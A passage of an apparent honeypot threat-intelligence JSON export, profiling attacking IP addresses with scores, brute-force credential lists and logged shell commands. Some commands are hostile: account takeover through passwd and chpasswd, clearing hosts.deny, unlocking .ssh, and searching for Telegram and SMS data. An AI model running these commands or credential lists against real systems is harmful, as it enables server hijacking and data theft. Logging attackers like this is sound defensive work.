        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "uname",
        "uname -a",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 150436,
      "as_org": "Byteplus Pte. Ltd.",
      "threat_score": 21.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 203,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-19T08:30:23.989000+00:00",
        "last_seen_30d": "2026-03-19T09:06:52.658000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 169,
        "Suricata": 34
      }
    },
    "103.165.139.145": {
      "attack_count": 163,
      "first_seen": "2026-03-26T07:35:31.286Z",
      "last_seen": "2026-03-26T07:47:56.083Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "User",
        "mahdi",
        "pwserver",
        "root",
        "user8"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "123456",
        "User",
        "password",
        "vps@2025"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"1234\\nCfHiuJbma6NN\\nCfHiuJbma6NN\\n\"|passwd",
        "echo \"User\\ngR74lANg9awV\\ngR74lANg9awV\\n\"|passwd",
        "echo -e \"1234\\nCfHiuJbma6NN\\nCfHiuJbma6NN\"|passwd|bash",
        "echo -e \"User\\ngR74lANg9awV\\ngR74lANg9awV\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 17995,
      "as_org": "PT iForte Global Internet",
      "threat_score": 29.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 184,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-26T07:35:31.286000+00:00",
        "last_seen_30d": "2026-03-26T07:48:58.171000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 163,
        "Suricata": 21
      }
    },
    "68.183.2.147": {
      "attack_count": 145,
      "first_seen": "2026-03-10T10:38:05.826Z",
      "last_seen": "2026-03-10T11:09:52.774Z",
      "sessions": 28,
      "ports": [],
      "usernames_attempted": [
        "root",
        "deploy",
        "git",
        "hadoop",
        "jira",
        "oracle",
        "postgres",
        "pul",
        "server",
        "test",
        "test1",
        "test2",
        "test3",
        "testuser",
        "uftp",
        "user",
        "vps",
        "wpyan",
        "yuanwd",
        "zhouh"
      ],
      "passwords_attempted": [
        "111111",
        "123",
        "321",
        "deploy",
        "git",
        "hadoop",
        "jira",
        "oracle",
        "pass",
        "password",
        "postgres",
        "pul",
        "qwerty",
        "root123",
        "root321",
        "server",
        "test",
        "test1",
        "test2",
        "test3"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 10.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 208,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T10:38:05.826000+00:00",
        "last_seen_30d": "2026-03-10T11:10:59.782000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 145,
        "Suricata": 63
      }
    },
    "116.110.152.78": {
      "attack_count": 137,
      "first_seen": "2026-03-30T13:33:04.931Z",
      "last_seen": "2026-03-30T13:43:11.611Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "am",
        "ashish",
        "backup",
        "brenda",
        "client",
        "cpanel",
        "dubai",
        "geral",
        "jay",
        "monitor",
        "pi",
        "proftpd",
        "sales",
        "sconsole",
        "shipping",
        "temp1",
        "test1",
        "test123"
      ],
      "passwords_attempted": [
        "123456",
        "112233",
        "123",
        "12345",
        "12345678",
        "72b1bd75ac87852a",
        "91482d",
        "Deadstar!",
        "admin1",
        "am",
        "ashish",
        "brenda",
        "dubai",
        "geral",
        "jay",
        "monitor",
        "password",
        "password1",
        "proftpd",
        "raspberry"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 24086,
      "as_org": "Viettel Corporation",
      "threat_score": 36.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.9,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 195,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-30T13:33:04.931000+00:00",
        "last_seen_30d": "2026-03-30T13:44:14.645000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 137,
        "Suricata": 58
      }
    },
    "103.113.104.43": {
      "attack_count": 127,
      "first_seen": "2026-03-03T06:30:51.536Z",
      "last_seen": "2026-03-03T07:04:12.149Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234@Abc",
        "1q2w3e4r@",
        "3edcXSW@",
        "Baidu@123",
        "Bingo@1993",
        "Huawei!123",
        "QAZxsw123",
        "Qwe123456.",
        "abc123de",
        "software",
        "test12345678"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.command.failed"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Faridabad",
      "asn": 138718,
      "as_org": "Ekowebtech It Services Pvt Ltd",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 22.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 171,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T06:30:51.536000+00:00",
        "last_seen_30d": "2026-03-03T07:05:16.852000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 127,
        "Suricata": 44
      }
    },
    "94.159.111.151": {
      "attack_count": 119,
      "first_seen": "2026-03-06T02:59:39.123Z",
      "last_seen": "2026-03-06T03:16:45.800Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "remoteuser",
        "345gs5662d34",
        "abc",
        "chat",
        "esuser",
        "gera",
        "info",
        "km",
        "omm",
        "user1",
        "web_admin"
      ],
      "passwords_attempted": [
        "123",
        "1234",
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "Omm123!",
        "P@ssw0rd123",
        "hik12345+",
        "info123",
        "km",
        "password",
        "remoteuserpass"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"remoteuserpass\\n70HRImiXExZ1\\n70HRImiXExZ1\\n\"|passwd",
        "echo -e \"remoteuserpass\\n70HRImiXExZ1\\n70HRImiXExZ1\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 215730,
      "as_org": "H2nexus Ltd",
      "threat_score": 5.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-06T02:59:39.123000+00:00",
        "last_seen_30d": "2026-03-06T03:17:51.988000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 119,
        "Suricata": 28
      }
    },
    "116.111.2.94": {
      "attack_count": 118,
      "first_seen": "2026-03-22T07:01:51.324Z",
      "last_seen": "2026-03-22T07:25:45.236Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root1",
        "345gs5662d34",
        "android",
        "gg",
        "maxim",
        "netflow",
        "pablo",
        "pulsar",
        "root",
        "syh",
        "term2"
      ],
      "passwords_attempted": [
        "1234",
        "12345",
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "ABCabc123",
        "P@ssw0rd",
        "android",
        "ggpass",
        "netflow",
        "syh1234",
        "term2123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:9bw1jAl20fo2\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Ho Chi Minh City",
      "asn": 7552,
      "as_org": "Viettel Group",
      "threat_score": 24.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 146,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-22T07:01:51.324000+00:00",
        "last_seen_30d": "2026-03-22T07:26:51.371000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 118,
        "Suricata": 28
      }
    },
    "166.108.195.54": {
      "attack_count": 118,
      "first_seen": "2026-03-02T03:28:09.969Z",
      "last_seen": "2026-03-02T03:54:29.706Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "....",
        "1234567899",
        "123456a.",
        "123abc@",
        "3245gs5662d34",
        "345gs5662d34",
        "Abcde@12345",
        "Admin123456789",
        "Fuckyou",
        "root1",
        "sverige",
        "testtesttest"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:IkZROMB2k9ms\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 136907,
      "as_org": "HUAWEI CLOUDS",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T03:28:09.969000+00:00",
        "last_seen_30d": "2026-03-02T03:55:33.783000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 118,
        "Suricata": 29
      }
    },
    "157.245.75.205": {
      "attack_count": 115,
      "first_seen": "2026-03-09T23:21:03.951Z",
      "last_seen": "2026-03-09T23:49:15.104Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin"
      ],
      "passwords_attempted": [
        "admin",
        "000000",
        "111111",
        "123",
        "123123",
        "1234",
        "12345",
        "123456",
        "12345678",
        "123456789",
        "1q2w3e4r",
        "654321",
        "P@ssw0rd",
        "admin123",
        "passw0rd",
        "password",
        "password1",
        "qwerty",
        "root123",
        "toor"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 10.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 22.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 165,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T23:21:03.951000+00:00",
        "last_seen_30d": "2026-03-09T23:50:15.676000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 115,
        "Suricata": 50
      }
    },
    "185.213.175.176": {
      "attack_count": 111,
      "first_seen": "2026-03-14T03:56:01.856Z",
      "last_seen": "2026-03-18T10:57:11.082Z",
      "sessions": 37,
      "ports": [],
      "usernames_attempted": [
        "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
        "Connection: close",
        "GET / HTTP/1.1",
        "POST / HTTP/1.1",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36"
      ],
      "passwords_attempted": [
        "Host: 172.105.186.117:23",
        "",
        "Accept-Language: en;q=0.9",
        "Cache-Control:  max-age=0"
      ],
      "commands_executed": [
        "Authorization: Basic MUpUc015bjR5aXpiRVdDRHFldWVkU2h2QzlDUmpqNEJ5Uzp4",
        "Connection: close",
        "Content-Length: 44",
        "Content-Type: application/x-www-form-urlencoded",
        "KHTML, like Gecko",
        "",
        "Accept-Language: en",
        "Accept-Language: en;q=0.9",
        "Accept: text/html,application/xhtml+xml,application/xml",
        "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
        "Cache-Control:  max-age=0",
        "Cache-Control: max-age=0",
        "Chrome/94.0.4606.61 Safari/537.36",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36",
        "Win64",
        "Windows NT 10.0",
        "Windows NT 10.0 ; Win64 ; x64",
        "x64"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.failed",
        "cowrie.command.input",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Spain",
      "country_code": "ES",
      "city": null,
      "asn": 41608,
      "as_org": "NextGenWebs, S.L.",
      "threat_score": 38.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 29.0,
        "persistence": 10.8,
        "diversity": 8,
        "spread": 20,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 798,
        "days_active_30d": 13,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-06T17:58:13.525000+00:00",
        "last_seen_30d": "2026-03-18T10:58:15.860000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Suricata": 401,
        "Dionaea": 262,
        "Cowrie": 111,
        "Mailoney": 24
      }
    },
    "164.90.201.75": {
      "attack_count": 80,
      "first_seen": "2026-03-16T14:37:14.527Z",
      "last_seen": "2026-03-16T14:54:24.987Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "123123",
        "1234",
        "12345",
        "123456",
        "12345678",
        "123456789",
        "Password1",
        "admin",
        "admin123",
        "letmein",
        "passw0rd",
        "password",
        "qwerty",
        "toor"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 16.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 115,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T14:37:14.527000+00:00",
        "last_seen_30d": "2026-03-16T14:55:27.605000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 80,
        "Suricata": 35
      }
    },
    "51.15.4.95": {
      "attack_count": 77,
      "first_seen": "2026-03-05T19:09:02.027Z",
      "last_seen": "2026-03-17T17:38:00.888Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "123456",
        "password",
        "12345",
        "1234567",
        "12345678",
        "123456789",
        "admin",
        "admin123",
        "admin2026"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Haarlem",
      "asn": 12876,
      "as_org": "Scaleway S.a.s.",
      "threat_score": 23.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.6,
        "persistence": 10.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 116,
        "days_active_30d": 13,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T19:09:02.027000+00:00",
        "last_seen_30d": "2026-03-17T17:39:08.556000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 77,
        "Suricata": 39
      }
    },
    "42.55.138.196": {
      "attack_count": 64,
      "first_seen": "2026-03-07T02:52:28.391Z",
      "last_seen": "2026-03-07T02:57:48.635Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 6.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 19.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 97,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T02:52:28.391000+00:00",
        "last_seen_30d": "2026-03-07T02:58:57.214000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 64,
        "Suricata": 33
      }
    },
    "176.65.132.190": {
      "attack_count": 56,
      "first_seen": "2026-03-07T16:39:23.555Z",
      "last_seen": "2026-03-19T10:11:20.254Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "support",
        "user",
        "AdminGPON",
        "admin",
        "squid",
        "telecomadmin",
        "user3"
      ],
      "passwords_attempted": [
        "1234",
        "123456",
        "ALC#FGU",
        "admin",
        "admin01",
        "admintelecom",
        "squid",
        "support",
        "user"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 51396,
      "as_org": "Pfcloud UG (haftungsbeschrankt)",
      "threat_score": 85.1,
      "threat_level": "critical",
      "score_components": {
        "frequency": 25.1,
        "persistence": 25,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 327,
        "days_active_30d": 30,
        "ports_targeted_30d": 56,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-02T12:37:30.570000+00:00",
        "last_seen_30d": "2026-03-31T15:14:31.219000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 202,
        "Honeytrap": 69,
        "Cowrie": 56
      }
    },
    "124.251.110.186": {
      "attack_count": 55,
      "first_seen": "2026-03-08T23:26:35.725Z",
      "last_seen": "2026-03-20T13:56:43.148Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "andrey",
        "ci",
        "diego",
        "frappeuser",
        "linuxbrew",
        "logviewer",
        "pulsar"
      ],
      "passwords_attempted": [
        "Diego123!",
        "Frappeuser123",
        "Logviewer123",
        "Pulsar123",
        "andrey123!",
        "ci123!",
        "linuxbrew1234"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4835,
      "as_org": "China Telecom Group",
      "threat_score": 27.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.3,
        "persistence": 10.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 106,
        "days_active_30d": 13,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T23:26:35.725000+00:00",
        "last_seen_30d": "2026-03-20T14:00:03.149000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 55,
        "Suricata": 51
      }
    },
    "38.188.160.223": {
      "attack_count": 53,
      "first_seen": "2026-03-10T23:05:39.362Z",
      "last_seen": "2026-03-11T00:37:57.986Z",
      "sessions": 10,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "007007007",
        "020580",
        "06061985",
        "230888",
        "280789",
        "301084",
        "310887",
        "alexia1",
        "dustin",
        "elektra"
      ],
      "commands_executed": [
        "echo -e \"\\x6F\\x6B\""
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Santo Domingo",
      "asn": 273113,
      "as_org": "ONERED JWG532 SRL",
      "threat_score": 10.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 19.0,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 80,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T23:05:39.362000+00:00",
        "last_seen_30d": "2026-03-11T00:38:58.547000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 53,
        "Suricata": 27
      }
    },
    "181.204.16.107": {
      "attack_count": 37,
      "first_seen": "2026-03-19T23:15:21.534Z",
      "last_seen": "2026-03-19T23:16:54.223Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "12345",
        "123456",
        "admin",
        "guest",
        "root"
      ],
      "commands_executed": [
        "/ip cloud print",
        "cat /proc/cpuinfo",
        "echo Hi | cat -n",
        "ifconfig",
        "locate D877F783D5D3EF8Cs",
        "ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*",
